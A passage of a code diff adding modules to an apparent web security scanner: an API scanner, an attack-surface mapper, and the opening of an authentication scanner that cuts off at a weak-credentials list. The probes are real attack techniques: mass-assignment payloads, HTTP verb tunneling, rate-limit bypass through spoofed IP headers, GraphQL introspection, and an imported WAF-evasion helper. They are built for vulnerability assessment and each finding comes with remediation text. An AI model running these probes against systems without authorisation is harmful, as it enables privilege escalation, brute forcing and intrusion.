+ if depth > 5 or not isinstance(d, (dict, list)):
146
+ return
147
+ if isinstance(d, dict):
148
+ for key in d.keys():
149
+ if any(sf in key.lower() for sf in SENSITIVE_RESPONSE_FIELDS):
150
+ found.append(key)
151
+ _scan_dict(d[key], depth + 1)
152
+ elif isinstance(d, list):
153
+ for item in d[:5]:
154
+ _scan_dict(item, depth + 1)
155
+ _scan_dict(data)
156
+ else:
157
+ for sf in SENSITIVE_RESPONSE_FIELDS:
158
+ if re.search(rf'["\']?{sf}["\']?\s*[:=]', body, re.IGNORECASE):
159
+ found.append(sf)
160
+ return list(set(found))
161
+
162
+
163
+ class ApiSecurityScanner(BaseScanner):
164
+ """
165
+ Advanced REST/GraphQL API Security Scanner.
166
+ Performs real probes against discovered API endpoints.
167
+ """
168
+ SCANNER_NAME = "Advanced API Security Scanner"
169
+
170
+ def run(self) -> list:
171
+ self.log("INFO", f"[AdvAPI] Starting advanced API security scan on {self.target}")
172
+ self._seen: set = set()
173
+ parsed = urllib.parse.urlparse(self.target)
174
+ self._base = f"{parsed.scheme}://{parsed.netloc}"
175
+
176
+ # ── 1. API documentation endpoint exposure ───────────────────────────
177
+ self.log("INFO", "[AdvAPI] Probing for exposed API documentation endpoints...")
178
+ self._check_doc_exposure()
179
+
180
+ # ── 2. API version enumeration ───────────────────────────────────────
181
+ self.log("INFO", "[AdvAPI] Enumerating versioned API endpoints...")
182
+ found_versions = self._enumerate_api_versions()
183
+
184
+ # ── 3. Mass assignment injection ─────────────────────────────────────
185
+ self.log("INFO", "[AdvAPI] Testing mass assignment vulnerabilities...")
186
+ self._check_mass_assignment(found_versions)
187
+
188
+ # ── 4. HTTP verb tunneling ────────────────────────────────────────────
189
+ self.log("INFO", "[AdvAPI] Testing HTTP verb tunneling bypass...")
190
+ self._check_verb_tunneling()
191
+
192
+ # ── 5. API rate limit bypass via header spoofing ─────────────────────
193
+ self.log("INFO", "[AdvAPI] Testing rate limit bypass techniques...")
194
+ self._check_rate_limit_bypass()
195
+
196
+ # ── 6. GraphQL introspection ─────────────────────────────────────────
197
+ self.log("INFO", "[AdvAPI] Checking GraphQL introspection access...")
198
+ self._check_graphql_introspection()
199
+
200
+ # ── 7. Response data over-exposure ───────────────────────────────────
201
+ self.log("INFO", "[AdvAPI] Checking API responses for sensitive data over-exposure...")
202
+ self._check_data_overexposure(found_versions)
203
+
204
+ count = len(self.vulns)
205
+ self.log(
206
+ "WARNING" if count else "SUCCESS",
207
+ f"[AdvAPI] Complete — {count} API security issue(s) detected"
208
+ )
209
+ return self.vulns
210
+
211
+ def _check_doc_exposure(self):
212
+ """Check if API documentation is publicly accessible."""
213
+ for path in DOC_ENDPOINTS:
214
+ url = self._base + path
215
+ body, status, headers = _request(url, timeout=6)
216
+ if status == 200 and body:
217
+ # Verify it's actual API docs, not a generic 200
218
+ is_docs = any(kw in body.lower() for kw in [
219
+ "swagger", "openapi", "paths", "definitions",
220
+ "graphql", "playground", "mutation", "query",
221
+ "postman", "endpoint",
222
+ ])
223
+ if is_docs:
224
+ key = f"apidoc:{path}"
225
+ if key not in self._seen:
226
+ self._seen.add(key)
227
+ self.log("HIGH", f"[AdvAPI] API documentation exposed: {url}")
228
+ self.add_vuln(
229
+ title=f"API Documentation Publicly Exposed: {path}",
230
+ severity="High",
231
+ category="API Security / Information Disclosure",
232
+ cvss_score=7.5,
233
+ cwe_ids=["CWE-538", "CWE-200"],
234
+ owasp_category="A09:2021 – Security Logging and Monitoring Failures",
235
+ description=(
236
+ f"The API documentation endpoint `{url}` is publicly accessible. "
237
+ f"Exposed API docs (Swagger, OpenAPI, GraphQL Playground) provide attackers "
238
+ f"with a complete blueprint of all API endpoints, parameters, authentication "
239
+ f"methods, and data models — dramatically accelerating attack reconnaissance."
240
+ ),
241
+ remediation=(
242
+ "1. Restrict API documentation to authenticated users or internal networks only.\n"
243
+ "2. Disable interactive API explorers (Swagger UI, GraphiQL) in production.\n"
244
+ "3. Use IP allowlisting for documentation endpoints.\n"
245
+ "4. Implement authentication middleware before documentation routes."
246
+ ),
247
+ evidence=f"HTTP {status} response from {url} with API documentation content",
248
+ request_details=f"GET {url}",
249
+ )
250
+
251
+ def _enumerate_api_versions(self) -> list[str]:
252
+ """Discover active API versioned base URLs."""
253
+ found = []
254
+ parsed = urllib.parse.urlparse(self.target)
255
+ base_path = parsed.path.rstrip("/")
256
+
257
+ for n in range(1, 6):
258
+ for pattern in ["/api/v{n}", "/v{n}", "/api/v{n}/", "/v{n}/api"]:
259
+ path = pattern.replace("{n}", str(n))
260
+ url = self._base + path
261
+ body, status, _ = _request(url, timeout=5)
262
+ if status in (200, 401, 403, 405):
263
+ # Status 401/403/405 still means the endpoint exists
264
+ if url not in found:
265
+ found.append(url)
266
+ self.log("INFO", f"[AdvAPI] Found API version endpoint: {url} (HTTP {status})")
267
+
268
+ return found
269
+
270
+ def _check_mass_assignment(self, api_bases: list[str]):
271
+ """Attempt mass assignment on common CRUD endpoints."""
272
+ endpoints_to_try = [self.target, self._base + "/api/user", self._base + "/api/users", self._base + "/api/profile"]
273
+ endpoints_to_try.extend(api_bases[:3])
274
+
275
+ for base_url in endpoints_to_try[:5]:
276
+ # Send a POST/PUT with extra privileged fields
277
+ payload_dict = {
278
+ "name": "test",
279
+ "email": "test@example.com",
280
+ }
281
+ # Add mass assignment fields
282
+ for field in MASS_ASSIGN_FIELDS[:5]:
283
+ payload_dict[field] = True
284
+
285
+ body_bytes = json.dumps(payload_dict).encode()
286
+
287
+ for method in ["POST", "PUT"]:
288
+ resp_body, status, resp_headers = _request(
289
+ base_url, method=method, body=body_bytes,
290
+ extra_headers={"Content-Type": "application/json"},
291
+ timeout=7
292
+ )
293
+ if status in (200, 201, 204):
294
+ # Check if the server reflected any privileged field back
295
+ reflected_fields = []
296
+ try:
297
+ resp_data = json.loads(resp_body)
298
+ for field in MASS_ASSIGN_FIELDS:
299
+ if field in resp_data:
300
+ reflected_fields.append(field)
301
+ except Exception:
302
+ for field in MASS_ASSIGN_FIELDS:
303
+ if re.search(rf'["\']?{field}["\']?\s*:', resp_body, re.IGNORECASE):
304
+ reflected_fields.append(field)
305
+
306
+ if reflected_fields:
307
+ key = f"massassign:{base_url}:{method}"
308
+ if key not in self._seen:
309
+ self._seen.add(key)
310
+ self.log("CRITICAL", f"[AdvAPI] Mass assignment: {reflected_fields} reflected in {method} {base_url}")
311
+ self.add_vuln(
312
+ title=f"Mass Assignment Vulnerability via {method} {base_url}",
313
+ severity="Critical",
314
+ category="API Security / Mass Assignment",
315
+ cvss_score=9.1,
316
+ cwe_ids=["CWE-915"],
317
+ owasp_category="API6:2023 – Unrestricted Access to Sensitive Business Flows",
318
+ description=(
319
+ f"The endpoint `{base_url}` accepts and reflects privileged fields "
320
+ f"(`{', '.join(reflected_fields)}`) in a {method} request without "
321
+ f"filtering. An attacker can escalate privileges by submitting fields "
322
+ f"like `is_admin: true`, `role: 'admin'`, or `credits: 99999` in the request body."
323
+ ),
324
+ remediation=(
325
+ "1. Implement an explicit allowlist of accepted fields (not a blocklist).\n"
326
+ "2. Use Data Transfer Objects (DTOs) that only bind permitted fields.\n"
327
+ "3. Never bind the entire request body directly to database models.\n"
328
+ "4. Implement object-level authorization checks after field binding."
329
+ ),
330
+ evidence=f"Privileged fields reflected: {reflected_fields}",
331
+ request_details=f"{method} {base_url}\nBody: {json.dumps(payload_dict)[:200]}",
332
+ payload=json.dumps({f: True for f in reflected_fields}),
333
+ )
334
+
335
+ def _check_verb_tunneling(self):
336
+ """Test HTTP verb tunneling via method override headers."""
337
+ test_url = self._base + "/api/admin"
338
+ for header in HTTP_VERB_OVERRIDES:
339
+ extra = {header: "DELETE"}
340
+ body, status, resp_headers = _request(test_url, method="POST", extra_headers=extra, timeout=6)
341
+ if status not in (404, 405):
342
+ # Check if a normally-disallowed method was accepted
343
+ normal_body, normal_status, _ = _request(test_url, method="DELETE", timeout=6)
344
+ if status != normal_status and status in (200, 204, 401, 403):
345
+ key = f"verbtunn:{header}"
346
+ if key not in self._seen:
347
+ self._seen.add(key)
348
+ self.log("HIGH", f"[AdvAPI] Verb tunneling via {header} accepted (HTTP {status})")
349
+ self.add_vuln(
350
+ title=f"HTTP Verb Tunneling via {header} Header",
351
+ severity="High",
352
+ category="API Security / Access Control",
353
+ cvss_score=7.3,
354
+ cwe_ids=["CWE-650"],
355
+ owasp_category="API1:2023 – Broken Object Level Authorization",
356
+ description=(
357
+ f"The server accepts `{header}: DELETE` in a POST request, tunneling "
358
+ f"a restricted HTTP method. This bypasses WAF/firewall rules that only "
359
+ f"block explicit DELETE/PUT methods, allowing attackers to perform "
360
+ f"destructive operations through a POST wrapper."
361
+ ),
362
+ remediation=(
363
+ f"1. Disable `{header}` header processing on production APIs.\n"
364
+ "2. Validate that WAF rules apply to effective HTTP method, not tunneled method.\n"
365
+ "3. Use framework-level configuration to disable method override middleware.\n"
366
+ "4. Implement resource-level authorization that doesn't depend on HTTP method alone."
367
+ ),
368
+ evidence=f"POST with {header}: DELETE returned HTTP {status} vs DELETE returning {normal_status}",
369
+ request_details=f"POST {test_url}\n{header}: DELETE",
370
+ payload=f"{header}: DELETE",
371
+ )
372
+
373
+ def _check_rate_limit_bypass(self):
374
+ """Check if rate limits can be bypassed via IP spoofing headers."""
375
+ test_url = self.target
376
+
377
+ # Get baseline response
378
+ baseline_body, baseline_status, baseline_headers = _request(test_url, timeout=6)
379
+ rate_limited = False
380
+
381
+ # Send 20 rapid requests to trigger rate limiting
382
+ for _ in range(20):
383
+ body, status, _ = _request(test_url, timeout=3)
384
+ if status == 429:
385
+ rate_limited = True
386
+ break
387
+ time.sleep(0.05)
388
+
389
+ if rate_limited:
390
+ # Try bypass headers
391
+ for bypass_header in RATE_LIMIT_BYPASS_HEADERS:
392
+ body, status, _ = _request(test_url, extra_headers=bypass_header, timeout=6)
393
+ if status != 429:
394
+ header_name, header_val = list(bypass_header.items())[0]
395
+ key = f"ratelimit_bypass:{header_name}"
396
+ if key not in self._seen:
397
+ self._seen.add(key)
398
+ self.log("HIGH", f"[AdvAPI] Rate limit bypassed via {header_name}: {header_val}")
399
+ self.add_vuln(
400
+ title=f"Rate Limit Bypass via {header_name} IP Spoofing Header",
401
+ severity="High",
402
+ category="API Security / Rate Limiting",
403
+ cvss_score=7.5,
404
+ cwe_ids=["CWE-799", "CWE-290"],
405
+ owasp_category="API4:2023 – Unrestricted Resource Consumption",
406
+ description=(
407
+ f"The rate limiting mechanism trusts the `{header_name}` header "
408
+ f"for IP identification. By setting `{header_name}: {header_val}`, "
409
+ f"an attacker can bypass rate limits entirely, enabling:\n"
410
+ f"- Brute force attacks on authentication endpoints\n"
411
+ f"- Credential stuffing at scale\n"
412
+ f"- API denial-of-service with rotating fake IPs"
413
+ ),
414
+ remediation=(
415
+ "1. Use the actual TCP connection IP for rate limiting, not forwarded headers.\n"
416
+ "2. If behind a trusted proxy, validate the proxy IP before trusting forwarded headers.\n"
417
+ "3. Implement rate limiting at the TCP/network layer (not just HTTP).\n"
418
+ f"4. Remove trust of `{header_name}` from untrusted sources."
419
+ ),
420
+ evidence=f"429 rate limit triggered normally, then bypassed with {header_name}: {header_val}",
421
+ request_details=f"GET {test_url}\n{header_name}: {header_val}",
422
+ payload=f"{header_name}: {header_val}",
423
+ )
424
+
425
+ def _check_graphql_introspection(self):
426
+ """Check for unauthenticated GraphQL introspection."""
427
+ gql_paths = ["/graphql", "/api/graphql", "/gql", "/query", "/api/query"]
428
+ introspection_query = json.dumps({
429
+ "query": "{ __schema { types { name } } }"
430
+ }).encode()
431
+
432
+ for path in gql_paths:
433
+ url = self._base + path
434
+ body, status, headers = _request(
435
+ url, method="POST", body=introspection_query,
436
+ extra_headers={"Content-Type": "application/json"},
437
+ timeout=7
438
+ )
439
+ if status == 200 and '"__schema"' in body and '"types"' in body:
440
+ key = f"gql_introspect:{path}"
441
+ if key not in self._seen:
442
+ self._seen.add(key)
443
+ # Count type count as a measure of exposure
444
+ type_count = body.count('"name"')
445
+ self.log("HIGH", f"[AdvAPI] GraphQL introspection open at {url} ({type_count} types exposed)")
446
+ self.add_vuln(
447
+ title="GraphQL Introspection Enabled in Production",
448
+ severity="High",
449
+ category="API Security / GraphQL",
450
+ cvss_score=7.5,
451
+ cwe_ids=["CWE-200"],
452
+ owasp_category="A09:2021 – Security Logging and Monitoring Failures",
453
+ description=(
454
+ f"GraphQL introspection is enabled at `{url}` without authentication. "
455
+ f"Introspection exposes the complete schema ({type_count} type references), "
456
+ f"including all queries, mutations, fields, arguments, and data models. "
457
+ f"This provides attackers with a full API blueprint for further targeted attacks."
458
+ ),
459
+ remediation=(
460
+ "1. Disable introspection in production GraphQL configurations.\n"
461
+ "2. For Apollo Server: `introspection: false`.\n"
462
+ "3. For Hasura: set HASURA_GRAPHQL_ENABLE_INTROSPECTION=false.\n"
463
+ "4. Restrict introspection to authenticated admin users only.\n"
464
+ "5. Implement query depth limiting and complexity analysis."
465
+ ),
466
+ evidence=f"GraphQL introspection returned {type_count} type references",
467
+ request_details=f'POST {url}\nBody: {{"query": "{{ __schema {{ types {{ name }} }} }}"}}',
468
+ payload='{ __schema { types { name } } }',
469
+ )
470
+
471
+ def _check_data_overexposure(self, api_bases: list[str]):
472
+ """Check API responses for sensitive fields that shouldn't be exposed."""
473
+ endpoints = [self.target, self._base + "/api/user", self._base + "/api/me", self._base + "/api/profile"]
474
+ endpoints.extend(api_bases[:2])
475
+
476
+ for url in endpoints[:6]:
477
+ body, status, headers = _request(url, timeout=6)
478
+ if status == 200 and body:
479
+ # Check for API key leakage
480
+ secrets = _check_api_key_in_response(body, headers)
481
+ for secret_type, secret_val in secrets:
482
+ key = f"secretleak:{secret_type}:{url}"
483
+ if key not in self._seen:
484
+ self._seen.add(key)
485
+ self.log("CRITICAL", f"[AdvAPI] Secret leaked in response: {secret_type} at {url}")
486
+ self.add_vuln(
487
+ title=f"Sensitive Credential Exposed in API Response: {secret_type}",
488
+ severity="Critical",
489
+ category="API Security / Information Disclosure",
490
+ cvss_score=9.1,
491
+ cwe_ids=["CWE-200", "CWE-312"],
492
+ owasp_category="API3:2023 – Broken Object Property Level Authorization",
493
+ description=(
494
+ f"The API endpoint `{url}` returns a **{secret_type}** in its response body or headers. "
495
+ f"This exposes sensitive credentials that can be used to authenticate as the affected "
496
+ f"user/service, access third-party APIs, or perform actions on behalf of the system.\n\n"
497
+ f"**Detected pattern:** `{secret_val}`"
498
+ ),
499
+ remediation=(
500
+ "1. Remove all sensitive fields from API responses using response DTOs/serializers.\n"
501
+ "2. Never return API keys, tokens, or passwords in any API response.\n"
502
+ "3. Audit all API endpoints with automated secret scanning in CI/CD.\n"
503
+ "4. Rotate any exposed credentials immediately.\n"
504
+ "5. Implement response filtering middleware to block secret patterns."
505
+ ),
506
+ evidence=f"{secret_type} found in response from {url}: {secret_val[:30]}...",
507
+ request_details=f"GET {url}",
508
+ )
509
+
510
+ # Check for sensitive field over-exposure
511
+ sensitive = _check_sensitive_fields(body)
512
+ if sensitive:
513
+ key = f"overexpose:{url}"
514
+ if key not in self._seen:
515
+ self._seen.add(key)
516
+ self.log("HIGH", f"[AdvAPI] Data over-exposure: {sensitive} at {url}")
517
+ self.add_vuln(
518
+ title=f"API Response Data Over-Exposure — Sensitive Fields Returned",
519
+ severity="High",
520
+ category="API Security / Data Exposure",
521
+ cvss_score=7.5,
522
+ cwe_ids=["CWE-213"],
523
+ owasp_category="API3:2023 – Broken Object Property Level Authorization",
524
+ description=(
525
+ f"The API endpoint `{url}` returns sensitive fields that should not be exposed to clients: "
526
+ f"`{'`, `'.join(sensitive[:8])}`.\n\n"
527
+ f"Over-exposure occurs when API responses include more data than the frontend actually needs, "
528
+ f"relying on the UI to 'hide' sensitive information that is still transmitted over the network."
529
+ ),
530
+ remediation=(
531
+ "1. Implement field-level filtering in API serializers — only return fields the client needs.\n"
532
+ "2. Use separate response schemas for different user roles.\n"
533
+ "3. Avoid returning full database model objects directly as API responses.\n"
534
+ "4. Regularly audit API response fields using automated data classification tools."
535
+ ),
536
+ evidence=f"Sensitive fields in response: {sensitive[:5]}",
537
+ request_details=f"GET {url}",
538
+ )
backend/scanners/attack_surface_scanner.py ADDED
@@ -0,0 +1,227 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ attack_surface_scanner.py — Attack Surface Mapper
3
+ ==================================================
4
+ Enumerates and maps the full attack surface of a web application:
5
+ - All discovered endpoints / routes
6
+ - Query parameters and form fields across all pages
7
+ - External domains and third-party scripts
8
+ - API endpoints (REST / GraphQL hints)
9
+ - Admin / sensitive paths
10
+ - File upload endpoints
11
+ - Technology stack identified
12
+ - Email addresses / internal references exposed
13
+ """
14
+ import re, urllib.parse, urllib.request
15
+ from scanners.base_scanner import BaseScanner
16
+
17
+ SENSITIVE_PATH_RE = re.compile(
18
+ r"(admin|administrator|manager|console|panel|dashboard|config|backup|"
19
+ r"phpmyadmin|wp-admin|wp-login|cpanel|webmail|api/v\d|swagger|graphql|"
20
+ r"actuator|debug|trace|health|metrics|env|info|beans|heapdump)", re.I
21
+ )
22
+
23
+ FILE_UPLOAD_RE = re.compile(
24
+ r'<input[^>]+type=["\']file["\']', re.I
25
+ )
26
+
27
+ EMAIL_RE = re.compile(
28
+ r'\b[A-Za-z0-9._%+\-]+@[A-Za-z0-9.\-]+\.[A-Za-z]{2,}\b'
29
+ )
30
+
31
+ INTERNAL_IP_RE = re.compile(
32
+ r'\b(10\.\d+\.\d+\.\d+|172\.(1[6-9]|2\d|3[01])\.\d+\.\d+|192\.168\.\d+\.\d+)\b'
33
+ )
34
+
35
+ API_PATTERNS = re.compile(
36
+ r'["\']/(api|v\d+|rest|graphql|query|endpoint)[^"\']*["\']', re.I
37
+ )
38
+
39
+
40
+ class AttackSurfaceScanner(BaseScanner):
41
+ SCANNER_NAME = "Attack Surface Mapper"
42
+ _SCANNER_KEY = "attack_surface"
43
+
44
+ def __init__(self, scan_id, target, domain, **kwargs):
45
+ super().__init__(scan_id, target, domain, **kwargs)
46
+
47
+ # ------------------------------------------------------------------
48
+ def run(self) -> list:
49
+ self.log("INFO", f"[AttackSurface] Mapping attack surface of {self.target}...")
50
+ try:
51
+ urls, forms, html, all_html = self._crawl_deep()
52
+ self._analyze_surface(urls, forms, html, all_html)
53
+ except Exception as e:
54
+ self.log("WARNING", f"[AttackSurface] Error: {e}")
55
+
56
+ self.log("SUCCESS",
57
+ f"[AttackSurface] Mapping complete. {len(self.vulns)} exposure(s) documented.")
58
+ return self.vulns
59
+
60
+ # ------------------------------------------------------------------
61
+ def _crawl_deep(self):
62
+ try:
63
+ results = self.discovery_context or {}
64
+ urls = [u["url"] if isinstance(u, dict) else u for u in results.get("urls", [])]
65
+ if self.target not in urls:
66
+ urls.insert(0, self.target)
67
+ forms = results.get("forms", [])
68
+ all_html = results.get("page_contents", {})
69
+ combined = " ".join(all_html.values()) if all_html else ""
70
+ return urls, forms, combined, all_html
71
+ except Exception as e:
72
+ self.log("ERROR", f"[AttackSurface] _crawl_deep error: {e}")
73
+ body = self._fetch(self.target)
74
+ return [self.target], [], body or "", {}
75
+
76
+ def _fetch(self, url):
77
+ try:
78
+ req = urllib.request.Request(url,
79
+ headers={"User-Agent": "LarShield/2.0 AttackSurface"})
80
+ with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
81
+ return r.read().decode("utf-8", errors="ignore")
82
+ except Exception as e:
83
+ self.log("ERROR", f"[AttackSurface] _fetch error: {e}")
84
+ return ""
85
+
86
+ # ------------------------------------------------------------------
87
+ def _analyze_surface(self, urls, forms, combined_html, all_html):
88
+ # ── 1. Endpoint inventory ─────────────────────────────────────
89
+ unique_paths = sorted({urllib.parse.urlparse(u).path for u in urls})
90
+ self.log("INFO",
91
+ f"[AttackSurface] Discovered {len(unique_paths)} unique path(s), "
92
+ f"{len(forms)} form(s)")
93
+
94
+ # ── 2. Sensitive / admin paths ────────────────────────────────
95
+ sensitive = [p for p in unique_paths if SENSITIVE_PATH_RE.search(p)]
96
+ if sensitive:
97
+ self.add_vuln(
98
+ title=f"Sensitive/Admin Paths Discovered ({len(sensitive)} paths)",
99
+ severity="Medium",
100
+ category="Attack Surface",
101
+ cvss_score=5.3,
102
+ description="The following sensitive endpoints were found accessible:\n\n" +
103
+ "\n".join(f"- `{self.target.rstrip('/')}{p}`" for p in sensitive[:20]),
104
+ remediation="1. Restrict access to admin/management paths by IP allowlist.\n"
105
+ "2. Enforce strong authentication on all /admin, /api, /console paths.\n"
106
+ "3. Remove or disable unused endpoints in production.",
107
+ )
108
+
109
+ # ── 3. API endpoints ──────────────────────────────────────────
110
+ api_paths = [p for p in unique_paths if re.search(r'/api|/v\d+|/graphql|/rest', p, re.I)]
111
+ if api_paths:
112
+ self.log("INFO", f"[AttackSurface] API surface: {len(api_paths)} endpoint(s)")
113
+ self.add_vuln(
114
+ title=f"API Attack Surface: {len(api_paths)} Endpoint(s) Discovered",
115
+ severity="Low",
116
+ category="Attack Surface",
117
+ cvss_score=0.0,
118
+ description="The following API endpoints are part of the attack surface "
119
+ "and should be audited for authentication, authorization, and input validation:\n\n"
120
+ + "\n".join(f"- `{self.target.rstrip('/')}{p}`" for p in api_paths[:20]),
121
+ remediation="Ensure all API endpoints require authentication, validate input, "
122
+ "implement rate limiting, and are covered by the security test suite.",
123
+ )
124
+
125
+ # ── 4. File upload endpoints ──────────────────────────────────
126
+ upload_forms = [f for f in forms
127
+ if FILE_UPLOAD_RE.search(str(f.get("raw_html","")))]
128
+ if upload_forms:
129
+ self.add_vuln(
130
+ title=f"File Upload Endpoint(s) Detected ({len(upload_forms)} forms)",
131
+ severity="High",
132
+ category="Attack Surface",
133
+ cvss_score=7.5,
134
+ description=f"Found {len(upload_forms)} file upload form(s). "
135
+ "File upload functionality is a high-risk attack surface and must be "
136
+ "protected against:\n"
137
+ "- Unrestricted file type uploads (webshell upload)\n"
138
+ "- Malicious filename attacks (path traversal)\n"
139
+ "- Oversized file DoS\n"
140
+ "- MIME-type spoofing",
141
+ remediation="1. Validate file types by magic bytes, not extension/MIME.\n"
142
+ "2. Store uploads outside the web root.\n"
143
+ "3. Rename uploaded files to random UUIDs.\n"
144
+ "4. Enforce maximum file size limits.\n"
145
+ "5. Scan uploads with antivirus before serving.",
146
+ )
147
+
148
+ # ── 5. Exposed email addresses ────────────────────────────────
149
+ emails = list(set(EMAIL_RE.findall(combined_html)))
150
+ emails = [e for e in emails if not e.endswith((".png",".jpg",".gif",".css",".js"))]
151
+ if emails:
152
+ self.add_vuln(
153
+ title=f"Email Addresses Exposed in HTML ({len(emails)} address(es))",
154
+ severity="Low",
155
+ category="Information Disclosure",
156
+ cvss_score=3.1,
157
+ description="The following email addresses were found in page source:\n\n"
158
+ + "\n".join(f"- `{e}`" for e in emails[:15]) + "\n\n"
159
+ "Exposed emails enable targeted phishing, spam, and social engineering.",
160
+ remediation="1. Obfuscate contact emails using JavaScript or server-side rendering.\n"
161
+ "2. Use contact forms instead of direct email links.\n"
162
+ "3. Consider a generic contact@domain.com address.",
163
+ )
164
+
165
+ # ── 6. Internal IP / hostname leaks ───────────────────────────
166
+ internal_ips = list(set(INTERNAL_IP_RE.findall(combined_html)))
167
+ if internal_ips:
168
+ self.add_vuln(
169
+ title=f"Internal IP Address(es) Leaked in Page Source ({len(internal_ips)})",
170
+ severity="Medium",
171
+ category="Information Disclosure",
172
+ cvss_score=5.3,
173
+ description="Internal RFC-1918 IP addresses were found in the page source:\n\n"
174
+ + "\n".join(f"- `{ip}`" for ip in internal_ips[:10]) + "\n\n"
175
+ "Leaking internal IPs aids network reconnaissance.",
176
+ remediation="Remove all internal hostnames and IPs from HTML output. "
177
+ "Use public-facing domain names or proxied URLs.",
178
+ )
179
+
180
+ # ── 7. Third-party script domains ─────────────────────────────
181
+ ext_domains = set()
182
+ for m in re.finditer(r'src=["\']https?://([^/"\']+)', combined_html, re.I):
183
+ d = m.group(1)
184
+ if self.domain not in d:
185
+ ext_domains.add(d)
186
+
187
+ if len(ext_domains) > 5:
188
+ self.add_vuln(
189
+ title=f"Large Third-Party Script Surface ({len(ext_domains)} external domains)",
190
+ severity="Medium",
191
+ category="Supply Chain Security",
192
+ cvss_score=5.9,
193
+ description=f"Found {len(ext_domains)} distinct external domains providing "
194
+ "scripts or resources. Each represents a supply-chain trust boundary:\n\n"
195
+ + "\n".join(f"- `{d}`" for d in sorted(ext_domains)[:20]),
196
+ remediation="1. Audit all external dependencies for necessity.\n"
197
+ "2. Self-host critical scripts where possible.\n"
198
+ "3. Add SRI (Subresource Integrity) to all external scripts.\n"
199
+ "4. Monitor CDNs and third-party scripts for tampering.",
200
+ )
201
+
202
+ # ── 8. Parameters summary ─────────────────────────────────────
203
+ all_params: set = set()
204
+ for url in urls:
205
+ qs = urllib.parse.parse_qs(urllib.parse.urlparse(url).query)
206
+ all_params.update(qs.keys())
207
+ for form in forms:
208
+ all_params.update(f.get("name","") for f in form.get("fields",[]) if f.get("name"))
209
+
210
+ if all_params:
211
+ self.log("INFO",
212
+ f"[AttackSurface] {len(all_params)} unique input parameter(s) identified: "
213
+ f"{', '.join(sorted(all_params)[:20])}")
214
+ self.add_vuln(
215
+ title=f"Input Parameter Inventory ({len(all_params)} parameter(s))",
216
+ severity="Low",
217
+ category="Attack Surface",
218
+ cvss_score=0.0,
219
+ description="The following input parameters were identified across all crawled pages "
220
+ "and should be tested for injection vulnerabilities:\n\n"
221
+ + ", ".join(f"`{p}`" for p in sorted(all_params)[:40]),
222
+ remediation="Ensure all listed parameters are covered by:\n"
223
+ "- Input validation and sanitization\n"
224
+ "- SQL/NoSQL injection testing\n"
225
+ "- XSS testing\n"
226
+ "- Business logic testing",
227
+ )
backend/scanners/auth_scanner.py ADDED
@@ -0,0 +1,506 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ """
3
+ auth_scanner.py — Authentication Security Scanner
4
+ ==================================================
5
+ Audits the authentication surface of a web application:
6
+ - Login form detection & HTTPS enforcement
7
+ - Default / weak credential testing (safe probes only)
8
+ - Brute-force protection (account lockout detection)
9
+ - Multi-Factor Authentication presence hints
10
+ - Password policy exposure via error messages
11
+ - Username enumeration via timing / response differences
12
+ - Auth bypass via HTTP verb tampering
13
+ """
14
+ import re, ssl, time, urllib.parse, urllib.request, urllib.error, base64, json
15
+ from scanners.base_scanner import BaseScanner
16
+ from utils.anomaly import TimingAnomalyDetector, SizeAnomalyDetector
17
+ from utils.evasion import waf_evade
18
+ from utils.differential import DifferentialAnalyzer, ParameterMutationTester
19
+
20
+ LOGIN_PATHS = [
21
+ "/login", "/signin", "/sign-in", "/auth", "/authenticate",
22
+ "/account/login", "/user/login", "/admin/login", "/wp-login.php",
23
+ "/portal", "/dashboard/login", "/api/auth/login", "/api/login",
24
+ ]
25
+
26
+ WEAK_CREDS = [
27
